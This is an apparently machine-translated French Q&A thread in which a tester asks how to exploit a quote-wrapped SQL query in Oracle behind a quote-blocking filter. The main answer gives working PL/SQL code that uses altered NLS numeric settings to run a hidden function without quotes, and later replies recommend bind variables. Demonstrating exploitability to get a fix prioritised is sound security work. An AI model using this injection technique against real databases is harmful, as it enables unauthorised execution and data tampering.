Existe-t-il un moyen de sortir de la chaîne et d'injecter SQL sans utiliser un seul guillemet dans Oracle?

Je teste une application basée sur Oracle et j'ai trouvé le code suivant:

Requête = "CHOISIR le nom parmi les employés OERE id = '" + PKID + "';"

c'est-à-dire que la chaîne de requête contient des guillemets autour de la valeur PKID qui est obtenue directement à partir de l'URL.

De toute évidence, il s'agit d'une injection SQL classique en attente de se produire ... sauf que l'application est derrière CA SiteMinder qui empêche toute URL avec un seul devis (sous quelque forme) d'être transmise à l'application.

Existe-t-il un moyen de sortir de la chaîne et d'injecter SQL sans utiliser un seul guillemet?

Edit: Désolé, j'aurais dû être plus clair - je comprends comment cela devrait être écrit, mais je dois persuader les gens que c'est un problème exploitable. Pour le moment, car il est derrière siteminder qui bloque les guillemets simples, ce sera donc une correction de faible priorité.

Oui, il est possible d'effectuer une attaque par injection SQL sans fournir de guillemets dans le paramètre.

La façon de le faire est d'exploiter la façon dont les nombres et / ou les dates sont traités. Vous pouvez spécifier au niveau de la session le format d'une date ou d'un nombre. En manipulant cela, vous pouvez ensuite injecter avec n'importe quel personnage.

Par défaut au Royaume-Uni et aux États-Unis, une virgule est utilisée pour indiquer le séparateur des milliers en chiffres et un point pour le point décimal. Vous pouvez modifier ces valeurs par défaut en exécutant:

alter session set nls_numeric_characters = 'PZ';

Cela signifie que "P" est maintenant le point décimal et "Z" est le séparateur des milliers. Donc:

0P01

Est le nombre 0,01. Cependant, si vous créez une fonction P01, la référence d'objet sera récupérée avant la conversion des nombres. Cela vous permet d'exécuter des fonctions sur la base de données en vous donnant des pouvoirs croissants, comme suit:

Créez une fonction de base "get by id":

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Créez également une fonction P01 qui fait quelque chose de indésirable (dans ce cas, il suffit de créer une table, mais vous avez l'idée):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

Et nous sommes prêts à partir:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

Aucune citation nulle part, mais nous avons quand même réussi à exécuter la fonction "cachée" P01 et à créer la table t!

Bien que cela puisse être difficile à faire dans la pratique (et peut nécessiter une certaine connaissance / aide interne), cela montre que vous pouvez injecter du SQL sans avoir à avoir des guillemets. Modifier le nls_date_formatpeut permettre de faire des choses similaires.

Les résultats originaux pour les chiffres ont été par David Litchfield et vous pouvez lire son article ici . Vous pouvez trouver la discussion de Tom Kyte sur la façon dont les dates peuvent être exploitées ici .

Vous pourriez probablement surcharger le type de données que vous utilisez, provoquant l'échec de cette instruction. Ensuite, ce qui vient après pourrait potentiellement être exécuté.

Peut-être que l'envoyer en tant que tableau d'octets Unicode ferait l'affaire et vous sortirait de cette instruction pour une autre.

S'il y a un trou ouvert, il en sera abusé. Et bloquer toutes les chaînes avec un seul devis n'est pas une bonne idée car les personnes portant le nom de famille "O'Brian" ne peuvent pas être vos clients (entre autres).

Essayez d'utiliser une variable de liaison. Vous pouvez le déclarer sous forme de nombre et cela devrait empêcher une injection SQL dommageable.

ADDITION: les variables de liaison augmentent également les performances et l'évolutivité car le plan de requête est compilé et stocké pour être réutilisé. Juste quelque chose d'autre à ajouter à votre argument. :)